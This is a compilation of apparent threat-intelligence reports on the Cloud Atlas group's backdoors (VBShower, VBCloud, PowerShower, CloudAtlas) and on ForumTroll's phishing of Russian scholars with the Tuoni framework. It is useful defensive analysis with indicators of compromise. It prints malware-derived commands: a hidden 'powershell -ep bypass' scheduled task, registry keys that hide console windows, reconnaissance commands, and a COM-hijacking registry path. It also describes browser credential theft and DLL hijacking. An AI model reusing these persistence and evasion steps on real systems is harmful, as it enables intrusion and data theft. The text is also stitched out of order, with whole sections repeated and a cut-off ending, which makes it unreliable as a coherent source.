net group "Exchange servers" /domain
Ipconfig
arp -a

Python script

As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.

During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".

The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.

Victims

According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.

Conclusion

For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.

Indicators of compromise

Note: The indicators in this section are valid at the time of publication.

File hashes

0D309C25A835BAF3B0C392AC87504D9E    протокол (08.05.2025).doc
D34AAEB811787B52EC45122EC10AEB08    HTA
4F7C5088BCDF388C49F9CAAD2CCCDCC5    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145cfcf.vbs
5C93AF19EF930352A251B5E1B2AC2519    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145.dat (encrypted)
0E13FA3F06607B1392A3C3CAA8092C98    VBShower::Payload(1)
BC80C582D21AC9E98CBCA2F0637D8993    VBShower::Payload(2)
12F1F060DF0C1916E6D5D154AF925426    VBShower::Payload(3)
E8C21CA9A5B721F5B0AB7C87294A2D72    VBShower::Payload(4)
2D03F1646971FB7921E31B647586D3FB    VBShower::Payload(5)
7A85873661B50EA914E12F0523527CFA    VBShower::Payload(6)
F31CE101CBE25ACDE328A8C326B9444A    VBShower::Payload(7)
E2F3E5BF7EFBA58A9C371E2064DFD0BB    VBShower::Payload(8)
67156D9D0784245AF0CAE297FC458AAC    VBShower::Payload(9)
116E5132E30273DA7108F23A622646FE    VBCloud::Launcher
E9F60941A7CED1A91643AF9D8B92A36D    VBCloud::Payload(FileGrabber)
718B9E688AF49C2E1984CF6472B23805    PowerShower
A913EF515F5DC8224FCFFA33027EB0DD    PowerShower::Payload(2)
BAA59BB050A12DBDF981193D88079232    chambranle (encrypted)

Domains and IPs

billet-ru[.]net
mskreg[.]net
flashsupport[.]org
solid-logit[.]com
cityru-travel[.]org
transferpolicy[.]org
information-model[.]net
securemodem[.]com

Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection

The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo

Malicious template with the exploit loaded by Word when opening the document

We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.

Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.

This infection chain largely follows the one previously seen in Cloud Atlas’ 2024 attacks. The currently employed chain is presented below:

Malware execution flow

Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:

• HTA file
• VBShower::Launcher
• VBShower::Cleaner

In this research, we’ll focus on new and updated components.

VBShower

VBShower::Backdoor

Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.

VBShower::Payload (1)

The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.

VBShower::Payload (1)

VBShower::Payload (2)

The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:

wscript.exe /B %Public%\Libraries\MicrosoftEdgeUpdate.vbs

It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftEdgeUpdateTask

The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

Here is an example of the information present in the v_buff variable:

Libraries:
desktop.ini-175|
MicrosoftEdgeUpdate.vbs-2299|
RecordedTV.library-ms-999|
upgrade.mds-32840|
v.log-2299|

The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.

VBShower::Payload (2) used to install VBCloud

Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.

In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.

Here is an example of information to be sent to the C2 server:

vlc:
a.xml-969608|
b.xml-592960|
d.xml-2680200|
e.xml-185224||
access:
c.xml-5951488|

In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.

VBShower::Payload (2) used to install CloudAtlas

VBShower::Payload (3)

This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.

These files are copied by VBShower::Payload (3) to the following paths:

Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftVLCTaskMachine

Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

VBShower::Payload (3) used to install CloudAtlas

VBShower::Payload (4)

This script was previously described as VBShower::Payload (1).

VBShower::Payload (5)

This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:

GET-https://webdav.yandex.ru|
200|
<!DOCTYPE html><html lang="ru" dir="ltr" class="desktop"><head><base href="...

VBShower::Payload (5)

VBShower::Payload (6)

This script was previously described as VBShower::Payload (2).

VBShower::Payload (7)

This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.

VBShower::Payload (7)

VBShower::Payload (8)

This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:

1. Creates registry keys to make the console window appear off-screen, effectively hiding it:
   

   "HKCU\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe"::"WindowPosition"::5122
   "HKCU\UConsole\taskeng.exe"::"WindowPosition"::538126692

2. Creates a “MicrosoftAdobeUpdateTaskMachine” scheduler task to execute the command line:
   

   powershell.exe -ep bypass -w 01 %APPDATA%\Adobe\AdobeMon.ps1

3. Decrypts the contents of the embedded data block with XOR and saves the resulting script to the file "%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1".
4. Collects information about file names and sizes in the path "%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:
   

   cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine

VBShower::Payload (8) used to install PowerShower

The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.

Content of AdobeMon.ps1 (PowerShower)

VBShower::Payload (9)

This is a small script for collecting information about the system proxy settings.

VBShower::Payload (9)

VBCloud

On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.

VBCloud::Launcher

The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.

VBCloud::Launcher

VBCloud::Backdoor

The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.

VBCloud::Payload (FileGrabber)

Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.

The FileGrabber payload has the following limitations when scanning for files:

• It ignores the following paths:
  • Program Files
  • Program Files (x86)
  • %SystemRoot%
• The file size for archiving must be between 1,000 and 3,000,000 bytes.
• The file’s last modification date must be less than 30 days before the start of the scan.
• Files containing the following strings in their names are ignored:
  • “intermediate.txt”
  • “FlightingLogging.txt”
  • “log.txt”
  • “thirdpartynotices”
  • “ThirdPartyNotices”
  • “easylist.txt”
  • “acroNGLLog.txt”
  • “LICENSE.txt”
  • “signature.txt”
  • “AlternateServices.txt”
  • “scanwia.txt”
  • “scantwain.txt”
  • “SiteSecurityServiceState.txt”
  • “serviceworker.txt”
  • “SettingsCache.txt”
  • “NisLog.txt”
  • “AppCache”
  • “backupTest”

Part of VBCloud::Payload (FileGrabber)

PowerShower

As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.

Decoded PowerShower script

In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.

PowerShower::Payload (1)

This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.

PowerShower::Payload (2)

This script is used for grabbing files with metadata from a network share.

PowerShower::Payload (2)

CloudAtlas

As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".

When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.

Encrypted and decrypted loader configuration

The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.

Main routine that processes the payload file

When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.

Encrypted and decrypted CloudAtlas backdoor config

Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.

HTTP requests of the CloudAtlas backdoor

The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.

HTTP requests from the CloudAtlas backdoor

The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.

Plugin setup and execution routine

Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.

CloudAtlas::Plugin (FileGrabber)

FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:

• Stealing files from all local disks
• Stealing files from the specified removable media
• Stealing files from specified folders
• Using the selected username and password from the command block to mount network resources and then steal files from them

For each detected file, a series of rules are generated based on the conditions passed within the command block, including:

• Checking for minimum and maximum file size
• Checking the file’s last modification time
• Checking the file path for pattern exclusions. If a string pattern is found in the full path to a file, the file is ignored
• Checking the file name or extension against a list of patterns

Resource scanning

If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.

Generating data for sending to C2

CloudAtlas::Plugin (Common)

This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.

1. Command ID 0: Creates, sets and closes named events.
2. Command ID 1: Deletes the selected list of files.
3. Command ID 2: Drops a file on disk with content and a path selected in the command block arguments.
4. Command ID 3: Capable of performing several operations together or independently, including:
   1. Dropping several files on disk with content and paths selected in the command block arguments
   2. Dropping and executing a file at a specified path with selected parameters. This operation supports three types of launch:
   • Using the WinExec function
   • Using the ShellExecuteW function
   • Using the CreateProcessWithLogonW function, which requires that the user’s credentials be passed within the command block to launch the process on their behalf
5. Command ID 4: Uses the StdRegProv COM interface to perform registry manipulations, supporting key creation, value deletion, and value setting (both DWORD and string values).
6. Command ID 5: Calls the ExitProcess function.
7. Command ID 6: Uses the credentials passed within the command block to connect a network resource, drops a file to the remote resource under the name specified within the command block, creates and runs a VB script on the local system to execute the dropped file on the remote system. The VB script is created at "%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.

Content of the dropped VBS

CloudAtlas::Plugin (PasswordStealer)

This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.

Part of the function for parsing JSON and sending the extracted data to C2

CloudAtlas::Plugin (InfoCollector)

This plugin is used to collect information about the infected system. The list of commands is presented below.

1. Command ID 0xFFFFFFF0: Collects the computer’s NetBIOS name and domain information.
2. Command ID 0xFFFFFFF1: Gets a list of processes, including full paths to executable files of processes, and a list of modules (DLLs) loaded into each process.
3. Command ID 0xFFFFFFF2: Collects information about installed products.
4. Command ID 0xFFFFFFF3: Collects device information.
5. Command ID 0xFFFFFFF4: Collects information about logical drives.
6. Command ID 0xFFFFFFF5: Executes the command with input/output redirection, and sends the output to the C2 server. If the command line for execution is not specified, it sequentially launches the following utilities and sends their output to the C2 server:

net group "Exchange servers" /domain
Ipconfig
arp -a

Python script

As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.

During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".

The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.

Victims

According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.

Conclusion

For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.

Indicators of compromise

Note: The indicators in this section are valid at the time of publication.

File hashes

0D309C25A835BAF3B0C392AC87504D9E    протокол (08.05.2025).doc
D34AAEB811787B52EC45122EC10AEB08    HTA
4F7C5088BCDF388C49F9CAAD2CCCDCC5    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145cfcf.vbs
5C93AF19EF930352A251B5E1B2AC2519    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145.dat (encrypted)
0E13FA3F06607B1392A3C3CAA8092C98    VBShower::Payload(1)
BC80C582D21AC9E98CBCA2F0637D8993    VBShower::Payload(2)
12F1F060DF0C1916E6D5D154AF925426    VBShower::Payload(3)
E8C21CA9A5B721F5B0AB7C87294A2D72    VBShower::Payload(4)
2D03F1646971FB7921E31B647586D3FB    VBShower::Payload(5)
7A85873661B50EA914E12F0523527CFA    VBShower::Payload(6)
F31CE101CBE25ACDE328A8C326B9444A    VBShower::Payload(7)
E2F3E5BF7EFBA58A9C371E2064DFD0BB    VBShower::Payload(8)
67156D9D0784245AF0CAE297FC458AAC    VBShower::Payload(9)
116E5132E30273DA7108F23A622646FE    VBCloud::Launcher
E9F60941A7CED1A91643AF9D8B92A36D    VBCloud::Payload(FileGrabber)
718B9E688AF49C2E1984CF6472B23805    PowerShower
A913EF515F5DC8224FCFFA33027EB0DD    PowerShower::Payload(2)
BAA59BB050A12DBDF981193D88079232    chambranle (encrypted)

Domains and IPs

billet-ru[.]net
mskreg[.]net
flashsupport[.]org
solid-logit[.]com
cityru-travel[.]org
transferpolicy[.]org
information-model[.]net
securemodem[.]com

Our experts from the Global Research and Analysis Team (GReAT) have investigated a new wave of targeted emails from the ForumTroll APT group. Whereas previously their malicious emails were sent to public addresses of organizations, this time the attackers have targeted specific individuals — scientists from Russian universities and other organizations specializing in political science, international relations, and global economics. The purpose of the campaign was to infect victims’ computers with malware to gain remote access thereto.

What the malicious email looks like

The attackers sent the emails from the address support@e-library{.}wiki, which imitates the address of the scientific electronic library eLibrary (its real domain is elibrary.ru). The emails contained personalized links to a report on the plagiarism check of some material, which, according to the attackers’ plan, was supposed to be of interest to scientists.

In reality, the link downloaded an archive from the same e-library{.}wiki domain. Inside was a malicious .lnk file and a .Thumbs directory with some images that were apparently needed to bypass security technologies. The victim’s full name was used in the filenames of the archive and the malicious link-file.

In case the victim had doubts about the legitimacy of the email and visited the e-library{.}wiki page, they were shown a slightly outdated copy of the real website.

What happens if the victim clicks on the malicious link

If the scientist who received the email clicked on the file with the .lnk extension, a malicious PowerShell script was executed on their computer, triggering a chain of infection. As a result, the attackers installed a commercial framework Tuoni for red teams on the attacked machine, providing the attackers with remote access and other opportunities for further compromising the system. In addition, the malware used COM Hijacking to achieve persistency, and downloaded and displayed a decoy PDF file, the name of which also included the victim’s full name. The file itself, however, was not personalized — it was a rather vague report in the format of one of the Russian plagiarism detection systems.

Interestingly, if the victim tried to open the malicious link from a device running on a system that didn’t support PowerShell, they were prompted to try again from a Windows computer. A more detailed technical analysis of the attack, along with indicators of compromise, can be found in a post on the Securelist website.

How to stay safe

The malware used in this attack is successfully detected and blocked by Kaspersky’s security products. We recommend installing a reliable security solution not only on all devices used by employees to access the internet, but also on the organization's mail gateway, which can stop most threats delivered via email before they reach an employee’s device.

Introduction

In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.

More reports about this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Emails posing as a scientific library

In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.

The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.

A well-prepared attack

The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.

Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.

A screenshot of the malicious site elements showing the IP address and initial session date

The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.

Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:

The message that was displayed when we attempted to download the archive

Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.

The message that was displayed when we attempted to download the archive from a non-Windows OS

The malicious archive

The malicious archives downloaded via the email links contained the following:

• A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
• A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.

A portion of the .Thumbs directory contents

When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.

The script that was launched by opening the shortcut

The downloaded payload then performed the following actions:

• Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
• Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
• Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
• Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.

The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.

A screenshot of a page from the downloaded report

At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.

The final payload: the Tuoni framework

The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.

As in the previous campaign, the attackers used fastly.net as C2 servers.

Conclusion

The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.

Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.

ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.

Indicators of compromise

e-library[.]wiki
perf-service-clients2.global.ssl.fastly[.]net
bus-pod-tenant.global.ssl.fastly[.]net
status-portal-api.global.ssl.fastly[.]net

Introduction

In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.

More reports about this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Emails posing as a scientific library

In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.

The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.

A well-prepared attack

The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.

Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.

A screenshot of the malicious site elements showing the IP address and initial session date

The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.

Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:

The message that was displayed when we attempted to download the archive

Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.

The message that was displayed when we attempted to download the archive from a non-Windows OS

The malicious archive

The malicious archives downloaded via the email links contained the following:

• A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
• A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.

A portion of the .Thumbs directory contents

When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.

The script that was launched by opening the shortcut

The downloaded payload then performed the following actions:

• Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
• Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
• Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
• Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.

The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.

A screenshot of a page from the downloaded report

